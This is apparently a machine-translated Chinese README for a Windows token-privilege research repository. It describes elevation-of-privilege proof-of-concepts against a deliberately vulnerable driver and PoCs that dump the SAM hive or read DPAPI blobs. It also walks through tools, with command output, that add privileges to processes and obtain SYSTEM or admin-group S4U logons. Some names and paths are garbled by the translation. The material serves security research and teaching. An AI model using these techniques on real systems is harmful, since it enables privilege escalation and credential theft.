PrivFu
1.0.0
内核模式WINDBG扩展和用于测试令牌特权如何工作的POC。
有著名的存储库和有关令牌特权滥用这种Grzegorz Tworek的Priv2Admin的文章。该存储库中的代码旨在帮助调查令牌特权的工作方式。
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项目
该项目涵盖了如何从高完整性级别外壳中获得系统特权。有关详细信息，请参见readme.md。
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项目
该项目的目的是调查攻击者如何滥用任意内核写入脆弱性。所有POC均为Hacksys Extreme脆弱驱动器编写。这些POC中的大多数通过滥用任意内核写入漏洞和令牌特权来获得系统完整性水平。在Windows 10版本1809/1903上进行了测试，但理论上应该在Windows 10中使用：
| POC名称 | 描述 |
|---|---|
| CreateSeassignTokenVariant | 该POC使用SeCreateTokenPrivilege和SeAssignPrimaryTokenPrivilege进行EOP。 |
| CreateImpersonateTokenVariant | 该POC与SeCreateTokenPrivilege和SeImpersonatePrivilege一起执行EOP。 |
| CreateTokenVariant | 该POC与SeCreateTokenPrivilege一起执行EOP。 |
| debugindoxtvariant | 该POC与SeDebugPrivilege一起执行EOP。在最后阶段使用代码注入winlogon.exe。 |
| debugupdateProcrcriciant | 该POC与SeDebugPrivilege一起执行EOP。在最后阶段，使用UpdateProcThreadAttribute API从Winlogon.exe创建系统过程。 |
| 恢复过度化鉴定 | 该POC用SeRestorePrivilege执行EOP。与此POC一起使用hijackshelllib。 |
| 次级变量 | 该POC与SeCreateTokenPrivilege和SeImpersonatePrivilege一起执行EOP。在最后阶段使用辅助登录服务。 |
| 占用权力服务员variant | 该POC使用SeTakeOwnershipPrivilege执行EOP。与此POC一起使用hijackshelllib。 |
| tcbs4uassigntokenvariant | 该POC使用SeTcbPrivilege执行EOP。从中等强制性级别获取系统强制级别的外壳。 |
| tcbs4uimpersonationvariant | 该POC使用SeTcbPrivilege执行EOP。用S4U登录执行线程模拟。没有高或系统完整性水平。 |
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项目
警告
在某些环境中，调试构建行不通。释放构建是首选。
PRIVEDITOR是内核模式WINDBG扩展，以操纵特定过程的令牌特权。此扩展名使您可以轻松地配置要调查的令牌特权：
0: kd> .load C:devPrivEditorx64ReleasePrivEditor.dll
PrivEditor - Kernel Mode WinDbg extension for token privilege edit.
Commands :
+ !getps : List processes in target system.
+ !getpriv : List privileges of a process.
+ !addpriv : Add privilege(s) to a process.
+ !rmpriv : Remove privilege(s) from a process.
+ !enablepriv : Enable privilege(s) of a process.
+ !disablepriv : Disable privilege(s) of a process.
+ !enableall : Enable all privileges available to a process.
+ !disableall : Disable all privileges available to a process.
[*] To see command help, execute "!<Command> help" or "!<Command> /?".
此命令是在您的目标系统中列出进程：
0: kd> !getps /?
!getps - List processes in target system.
Usage : !getps [Process Name]
Process Name : (OPTIONAL) Specifies filter string for process name.
如果您在没有任何参数的情况下执行此命令，则此命令列表目标系统中的所有进程如下：
0: kd> !getps
PID nt!_EPROCESS nt!_SEP_TOKEN_PRIVILEGES Process Name
======== =================== ======================== ============
0 0xfffff805`81233630 0x00000000`00000000 Idle
4 0xffffd60f`ec068380 0xffffaf00`cec07a40 System
68 0xffffd60f`f1780480 0xffffaf00`d3b290a0 svchost.exe
88 0xffffd60f`ec0db080 0xffffaf00`cec0d080 Registry
324 0xffffd60f`ef342040 0xffffaf00`d0416080 smss.exe
348 0xffffd60f`f052f100 0xffffaf00`d25d30a0 dwm.exe
408 0xffffd60f`eca8e140 0xffffaf00`d21bd930 csrss.exe
480 0xffffd60f`f05a8340 0xffffaf00`d2568670 svchost.exe
484 0xffffd60f`efcd60c0 0xffffaf00`d06430e0 wininit.exe
500 0xffffd60f`efd130c0 0xffffaf00`d23100a0 csrss.exe
580 0xffffd60f`efdc0080 0xffffaf00`d2266630 winlogon.exe
--snip--
如果您想知道特定的过程，请按以下方式设置字符串过滤器。该过滤器可与前匹配和病例不敏感：
0: kd> !getps micro
PID nt!_EPROCESS nt!_SEP_TOKEN_PRIVILEGES Process Name
======== =================== ======================== ============
4568 0xffffd60f`f14ed080 0xffffaf00`d3db60a0 MicrosoftEdge.exe
4884 0xffffd60f`f1647080 0xffffaf00`d3fc17b0 MicrosoftEdgeCP.exe
4892 0xffffd60f`f1685080 0xffffaf00`d3fc07b0 MicrosoftEdgeSH.exe
此命令是列出特定过程的令牌特权：
0: kd> !getpriv /?
!getpriv - List privileges of a process.
Usage : !getpriv <PID>
PID : Specifies target process ID.
要使用此命令，您需要以十进制格式设置目标进程ID如下：
0: kd> !getpriv 5704
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] PID : 5704
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0
此命令是将令牌特权添加到特定过程：
0: kd> !addpriv /?
!addpriv - Add privilege(s) to a process.
Usage : !addpriv <PID> <Privilege>
PID : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.
+ CreateToken : SeCreateTokenPrivilege.
+ AssignPrimaryToken : SeAssignPrimaryTokenPrivilege.
+ LockMemory : SeLockMemoryPrivilege.
+ IncreaseQuota : SeIncreaseQuotaPrivilege.
+ MachineAccount : SeMachineAccountPrivilege.
+ Tcb : SeTcbPrivilege.
+ Security : SeSecurityPrivilege.
+ TakeOwnership : SeTakeOwnershipPrivilege.
+ LoadDriver : SeLoadDriverPrivilege.
+ SystemProfile : SeSystemProfilePrivilege.
+ Systemtime : SeSystemtimePrivilege.
+ ProfileSingleProcess : SeProfileSingleProcessPrivilege.
+ IncreaseBasePriority : SeIncreaseBasePriorityPrivilege.
+ CreatePagefile : SeCreatePagefilePrivilege.
+ CreatePermanent : SeCreatePermanentPrivilege.
+ Backup : SeBackupPrivilege.
+ Restore : SeRestorePrivilege.
+ Shutdown : SeShutdownPrivilege.
+ Debug : SeDebugPrivilege.
+ Audit : SeAuditPrivilege.
+ SystemEnvironment : SeSystemEnvironmentPrivilege.
+ ChangeNotify : SeChangeNotifyPrivilege.
+ RemoteShutdown : SeRemoteShutdownPrivilege.
+ Undock : SeUndockPrivilege.
+ SyncAgent : SeSyncAgentPrivilege.
+ EnableDelegation : SeEnableDelegationPrivilege.
+ ManageVolume : SeManageVolumePrivilege.
+ Impersonate : SeImpersonatePrivilege.
+ CreateGlobal : SeCreateGlobalPrivilege.
+ TrustedCredManAccess : SeTrustedCredManAccessPrivilege.
+ Relabel : SeRelabelPrivilege.
+ IncreaseWorkingSet : SeIncreaseWorkingSetPrivilege.
+ TimeZone : SeTimeZonePrivilege.
+ CreateSymbolicLink : SeCreateSymbolicLinkPrivilege.
+ DelegateSessionUserImpersonate : SeDelegateSessionUserImpersonatePrivilege.
+ All : All privileges.
例如，如果要将sedebugprivilege设置为特定过程，请为第一个参数设置目标过程ID，并缩短privilege名称debug如第二个参数的帮助消息中列出的，如下所示：
0: kd> !getpriv 5704
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] PID : 5704
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0
0: kd> !addpriv 5704 debug
[>] Trying to add SeDebugPrivilege.
[*] Done.
0: kd> !getpriv 5704
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeDebugPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] PID : 5704
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0
特权名称参数是案例不敏感的。
如果您想一次添加所有令牌特权，请将all设置为特权名称参数：
0: kd> !addpriv 5704 all
[>] Trying to add all privileges.
[*] Done.
0: kd> !getpriv 5704
Privilege Name State
========================================== ========
SeCreateTokenPrivilege Disabled
SeAssignPrimaryTokenPrivilege Disabled
SeLockMemoryPrivilege Disabled
SeIncreaseQuotaPrivilege Disabled
SeMachineAccountPrivilege Disabled
SeTcbPrivilege Disabled
SeSecurityPrivilege Disabled
--snip--
此命令是从特定过程中删除令牌特权：
0: kd> !rmpriv /?
!rmpriv - Remove privilege(s) from a process.
Usage : !rmpriv <PID> <Privilege>
PID : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.
+ CreateToken : SeCreateTokenPrivilege.
+ AssignPrimaryToken : SeAssignPrimaryTokenPrivilege.
+ LockMemory : SeLockMemoryPrivilege.
--snip--
如果要删除sechangenotifyprivilege，请执行此命令如下：
0: kd> !getpriv 352
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] PID : 352
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d3468770
0: kd> !rmpriv 352 changenotify
[>] Trying to remove SeChangeNotifyPrivilege.
[*] Done.
0: kd> !getpriv 352
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] PID : 352
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d3468770
AS !addpriv命令，您可以一次将所有特权名称参数设置为all特权：
0: kd> !rmpriv 352 all
[>] Trying to remove all privileges.
[*] Done.
0: kd> !getpriv 352
Privilege Name State
========================================== ========
[*] PID : 352
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d3468770
此命令是启用特定过程的令牌特权：
0: kd> !enablepriv /?
!enablepriv - Enable privilege(s) of a process.
Usage : !enablepriv <PID> <Privilege>
PID : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.
+ CreateToken : SeCreateTokenPrivilege.
+ AssignPrimaryToken : SeAssignPrimaryTokenPrivilege.
+ LockMemory : SeLockMemoryPrivilege.
--snip--
第一个论点是流程ID，第二个论点是为代币特权名称：
0: kd> !getpriv 1932
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] PID : 1932
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0
0: kd> !enablepriv 1932 timezone
[>] Trying to enable SeTimeZonePrivilege.
[*] Done.
0: kd> !getpriv 1932
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Enabled
[*] PID : 1932
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0
如果您尝试启用特权，尚未添加，则此命令会自动添加它：
0: kd> !getpriv 1932
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Enabled
[*] PID : 1932
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0
0: kd> !enablepriv 1932 debug
[*] SeDebugPrivilege is not present.
[>] Trying to add SeDebugPrivilege.
[>] Trying to enable SeDebugPrivilege.
[*] Done.
0: kd> !getpriv 1932
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeDebugPrivilege Enabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Enabled
[*] PID : 1932
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0
此命令是禁用特定过程的令牌特权：
0: kd> !disablepriv /?
!disablepriv - Disable privilege(s) of a process.
Usage : !disablepriv <PID> <Privilege>
PID : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.
+ CreateToken : SeCreateTokenPrivilege.
+ AssignPrimaryToken : SeAssignPrimaryTokenPrivilege.
+ LockMemory : SeLockMemoryPrivilege.
--snip--
要使用此命令，请为第一个参数设置目标进程ID，并为第二个参数设置令牌特权名称：
0: kd> !getpriv 1932
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeDebugPrivilege Enabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Enabled
[*] PID : 1932
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0
0: kd> !disablepriv 1932 debug
[>] Trying to disable SeDebugPrivilege.
[*] Done.
0: kd> !getpriv 1932
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeDebugPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Enabled
[*] PID : 1932
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0
此命令将启用用于特定过程的所有令牌特权：
0: kd> !enableall /?
!enableall - Enable all privileges available to a process.
Usage : !enableall <PID>
PID : Specifies target process ID.
它的工作如下：
0: kd> !getpriv 3792
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Disabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
[*] PID : 3792
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd507`aaed9080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708`d72ab8a0
0: kd> !enableall 3792
[>] Trying to enable all available privileges.
[*] Done.
0: kd> !getpriv 3792
Privilege Name State
========================================== ========
SeShutdownPrivilege Enabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Enabled
SeIncreaseWorkingSetPrivilege Enabled
[*] PID : 3792
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd507`aaed9080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708`d72ab8a0
此命令是为特定过程禁用所有令牌特权：
0: kd> !disableall /?
!disableall - Disable all privileges available to a process.
Usage : !disableall <PID>
PID : Specifies target process ID.
此命令等同于!disablepriv <PID> all 。工作如下：
0: kd> !getpriv 3792
Privilege Name State
========================================== ========
SeShutdownPrivilege Enabled
SeChangeNotifyPrivilege Enabled
SeUndockPrivilege Enabled
SeIncreaseWorkingSetPrivilege Enabled
[*] PID : 3792
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd507`aaed9080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708`d72ab8a0
0: kd> !disableall 3792
[>] Trying to disable all available privileges.
[*] Done.
0: kd> !getpriv 3792
Privilege Name State
========================================== ========
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege Disabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
[*] PID : 3792
[*] Process Name : cmd.exe
[*] nt!_EPROCESS : 0xffffd507`aaed9080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708`d72ab8a0
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项目
该项目是敏感令牌SeDebugPrivilege的POC。目前，为其中一部分发布了POC。
| 程序名称 | 描述 |
|---|---|
| seauditprivilegepoc | 该POC试图创建SeAuditPrivilegePoC的新安全事件。 SeAuditPrivilege不需要高的完整性水平，但是此POC需要在第一个执行时进行管理特权才能安装新事件源。此外，为了确认结果，此POC可能需要修改本地安全策略设置。 |
| Sebackupprivilegepoc | 该POC试图丢弃SeBackupPrivilege的HKLMSAM 。 |
| SecreatePageFilePilegileGePoc | 该POC试图通过SeCreatePagefilePrivilege将PageFile选项设置为特定值。 |
| SecreateTokenPrivileGepoc | 该POC试图通过SeCreateTokenPrivilege创建一个高架令牌。 |
| Sedebugprivilegepoc | 该POC试图打开SeDebugPrivilege的Winlogon.exe的手柄。 |
| SerestorePrivileGepoc | 此POC试图通过SeRestorePrivilege在C:WindowsSystem32中编写测试文件。 |
| Sesecurityprivilegepoc | 该POC试图阅读SeSecurityPrivilege的最新安全事件。 |
| seshutdownprivilegepoc | 该POC试图通过SeShutdownPrivilege引起BSOD。 |
| SesystemenvironmentPrivileGepoc | 该POC试图通过SeSystemEnvironmentPrivilege枚举系统环境。仅适用于基于UEFI的系统。由于OS功能，此POC对OSS不起作用的Windows 10 Build 1809。 |
| setakeownershipprivilegepoc | 此POC试图将HKLM:SYSTEMCurrentControlSetServicesdmwappushservice by SeTakeOwnershipPrivilege 。 |
| setcbprivilegepoc | 该POC试图通过SeTcbPrivilege执行S4U登录以BuiltinBackup Operators符。 |
| setRustedCredManAccessPrivileGepoc | 该POC试图通过SeTrustedCredManAccessPrivilege访问DPAPI BLOB。 |
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项目
该工具是用SETCBPRIVILEGE执行S4U登录。要使用此工具执行S4U登录，需要管理特权。
PS C:Tools> .S4uDelegator.exe -h
S4uDelegator - Tool for S4U Logon.
Usage: S4uDelegator.exe [Options]
-h, --help : Displays this help message.
-l, --lookup : Flag to lookup account SID.
-x, --execute : Flag to execute command.
-c, --command : Specifies command to execute. Default is cmd.exe.
-d, --domain : Specifies domain name to lookup or S4U logon.
-e, --extra : Specifies group SIDs you want to add for S4U logon with comma separation.
-n, --name : Specifies account name to lookup or S4U logon.
-s, --sid : Specifies SID to lookup.
要使用此工具，必须指定-l或-x标志。 -l标志用于查找帐户信息如下：
PS C:Tools> .S4uDelegator.exe -l -d contoso -n "domain admins"
[*] Account Name : CONTOSODomain Admins
[*] SID : S-1-5-21-3654360273-254804765-2004310818-512
[*] Account Type : Group
PS C:Tools> .S4uDelegator.exe -l -s S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736
[*] Account Name : NT SERVICEWinDefend
[*] SID : S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736
[*] Account Type : WellKnownGroup
要使用S4U登录执行命令，请设置-x标志，并指定帐户名称或SID如下。可以使用-c选项指定执行的命令（默认为cmd.exe ）：
PS C:Tools> whoami /user
USER INFORMATION
----------------
User Name SID
============ =============================================
contosojeff S-1-5-21-3654360273-254804765-2004310818-1105
PS C:Tools> .S4uDelegator.exe -x -d . -n admin
[*] S4U logon target information:
[*] Account : CL01admin
[*] SID : S-1-5-21-2659926013-4203293582-4033841475-500
[*] UPN : (Null)
[*] Type : User
[>] Trying to get SYSTEM.
[+] Got SYSTEM privileges.
[>] Trying to S4U logon.
[+] S4U logon is successful.
[>] Trying to create a token assigned process.
Microsoft Windows [Version 10.0.18362.175]
(c) 2019 Microsoft Corporation. All rights reserved.
C:Tools>whoami /user
USER INFORMATION
----------------
User Name SID
========== =============================================
cl01admin S-1-5-21-2659926013-4203293582-4033841475-500
如果要添加额外的组信息，请设置具有逗号分离值的组SID，并使用-e选项，如下：
PS C:Tools> whoami /user
USER INFORMATION
----------------
User Name SID
============= =============================================
contosodavid S-1-5-21-3654360273-254804765-2004310818-1104
PS C:Tools> .S4uDelegator.exe -x -d contoso -n jeff -e S-1-5-32-544,S-1-5-20 -c powershell
[*] S4U logon target information:
[*] Account : CONTOSOjeff
[*] SID : S-1-5-21-3654360273-254804765-2004310818-1105
[*] UPN : [email protected]
[*] Type : User
[>] Verifying extra group SID(s).
[*] BUILTINAdministrators (SID : S-1-5-32-544) will be added as a group.
[*] NT AUTHORITYNETWORK SERVICE (SID : S-1-5-20) will be added as a group.
[>] Trying to get SYSTEM.
[+] Got SYSTEM privileges.
[>] Trying to S4U logon.
[+] S4U logon is successful.
[>] Trying to create a token assigned process.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:Tools> whoami /user
USER INFORMATION
----------------
User Name SID
============ =============================================
contosojeff S-1-5-21-3654360273-254804765-2004310818-1105
PS C:Tools> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTINUsers Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITYNETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITYAuthenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITYThis Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
BUILTINAdministrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group
NT AUTHORITYNETWORK SERVICE Well-known group S-1-5-20 Mandatory group, Enabled by default, Enabled group
CONTOSOServerAdmins Group S-1-5-21-3654360273-254804765-2004310818-1103 Mandatory group, Enabled by default, Enabled group
Service asserted identity Well-known group S-1-18-2 Mandatory group, Enabled by default, Enabled group
Mandatory LabelSystem Mandatory Level Label S-1-16-16384
警告
如果您尝试使用无私人帐户的S4U登录，则将获得错误
0xC0000142（STATUS_DLL_INIT_FAILED），并且无法执行命令。为避免此问题，请将特权组添加为具有-e选项的额外组。另外，某些帐户不能指定为S4U登录的额外组（例如
NT SERVICETrustedInstaller）。如果将此类组帐户设置为额外组，则S4U登录将失败，而错误0x00000005（ERROR_ACCESS_DENIED）
回到顶部
项目
该工具是为一个过程启用或禁用特定令牌特权：
PS C:Dev> .SwitchPriv.exe -h
SwitchPriv - Tool to control token privileges.
Usage: SwitchPriv.exe [Options]
-h, --help : Displays this help message.
-d, --disable : Specifies token privilege to disable or "all".
-e, --enable : Specifies token privilege to enable or "all".
-f, --filter : Specifies token privilege you want to remain.
-i, --integrity : Specifies integrity level to set in decimal value.
-p, --pid : Specifies the target PID. Default specifies PPID.
-r, --remove : Specifies token privilege to remove or "all".
-s, --search : Specifies token privilege to search.
-g, --get : Flag to get available privileges for the target process.
-l, --list : Flag to list values for --integrity options.
-S, --system : Flag to run as "NT AUTHORITYSYSTEM".
要列出--integrity选项的值，请使用--list标志执行如下：
PS C:Dev> .SwitchPriv.exe -l
Available values for --integrity option:
* 0 : UNTRUSTED_MANDATORY_LEVEL
* 1 : LOW_MANDATORY_LEVEL
* 2 : MEDIUM_MANDATORY_LEVEL
* 3 : MEDIUM_PLUS_MANDATORY_LEVEL
* 4 : HIGH_MANDATORY_LEVEL
* 5 : SYSTEM_MANDATORY_LEVEL
* 6 : PROTECTED_MANDATORY_LEVEL
* 7 : SECURE_MANDATORY_LEVEL
Example :
* Down a specific process' integrity level to Low.
PS C:> .SwitchPriv.exe -p 4142 -s 1
Protected and Secure level should not be available, but left for research purpose.
使用-p选项指定目标过程的PID。您可以使用-g标志和-p选项列出目标过程的可用特权：如下：
PS C:Dev> .SwitchPriv.exe -p 9408 -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] Got 5 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= =========================
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
当未指定-p选项时，PID将是此工具的父pid：
PS C:Dev> .SwitchPriv.exe -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 6772
[*] Process Name : powershell
[+] Got 5 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= =========================
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
指定要控制的特权名称，任何情况不敏感的字符串都可以指定目标过程中可用特权的唯一特权名称。例如，要启用SeUndockPrivilege的目标过程，请执行--enable选项，如下所示：
PS C:Dev> .SwitchPriv.exe -p 9408 -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] Got 5 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= =========================
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeUndockPrivilege Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
PS C:Dev> .SwitchPriv.exe -p 9408 -e und
[>] Trying to enable a token privilege.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] SeUndockPrivilege is enabled successfully.
[*] Done.
PS C:Dev> .SwitchPriv.exe -p 9408 -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] Got 5 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= =========================
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeUndockPrivilege Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
当您设置无法指定唯一特权名称的伪造字符串时，您将获得以下消息：
PS C:Dev> .SwitchPriv.exe -p 9408 -e se
[>] Trying to enable a token privilege.
[*] Target PID : 9408
[*] Process Name : Notepad
[-] Cannot specify a unique privilege to enable.
[*] SeShutdownPrivilege
[*] SeChangeNotifyPrivilege
[*] SeUndockPrivilege
[*] SeIncreaseWorkingSetPrivilege
[*] SeTimeZonePrivilege
[*] Done.
例如，要启用sechangenotifyprivilege，请执行--disable选项如下：
PS C:Dev> .SwitchPriv.exe -p 9408 -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] Got 5 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= =========================
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeUndockPrivilege Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
PS C:Dev> .SwitchPriv.exe -p 9408 -d chan
[>] Trying to disable a token privilege.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] SeChangeNotifyPrivilege is disabled successfully.
[*] Done.
PS C:Dev> .SwitchPriv.exe -p 9408 -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] Got 5 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= ==========================
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Disabled
SeUndockPrivilege Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
要删除特权，请使用--remove选项，如下：
PS C:Dev> .SwitchPriv.exe -p 9408 -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] Got 5 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= ==========================
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Disabled
SeUndockPrivilege Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege Disabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
PS C:Dev> .SwitchPriv.exe -p 9408 -r inc
[>] Trying to remove a token privilege.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] SeIncreaseWorkingSetPrivilege is removed successfully.
[*] Done.
PS C:Dev> .SwitchPriv.exe -p 9408 -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 9408
[*] Process Name : Notepad
[+] Got 4 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
======================= ==========================
SeShutdownPrivilege Disabled
SeChangeNotifyPrivilege EnabledByDefault, Disabled
SeUndockPrivilege Enabled
SeTimeZonePrivilege Disabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
如果要测试特定特权，则可以删除除了要使用-f选项测试以下测试以外的所有特权：
PS C:Dev> .SwitchPriv.exe -g
[>] Trying to get available token privilege(s) for the target process.
[*] Target PID : 4392
[*] Process Name : powershell
[+] Got 5 token privilege(s).
PRIVILEGES INFORMATION
----------------------
Privilege Name State
============================= =========================
SeShutdownPrivilege Enabled
SeChangeNotifyPrivilege EnabledByDefault, Enabled
SeUndockPrivilege Enabled
SeIncreaseWorkingSetPrivilege Enabled
SeTimeZonePrivilege Enabled
[*] Integrity Level : Medium Mandatory Level
[*] Done.
PS C:Dev> .SwitchPriv.exe -f tim
[>] Trying to remove all token privileges except one.
[*] Target PID : 4392
[*] Process Name : powershell
[>] Trying to remove all privileges except for SeTimeZonePrivilege.
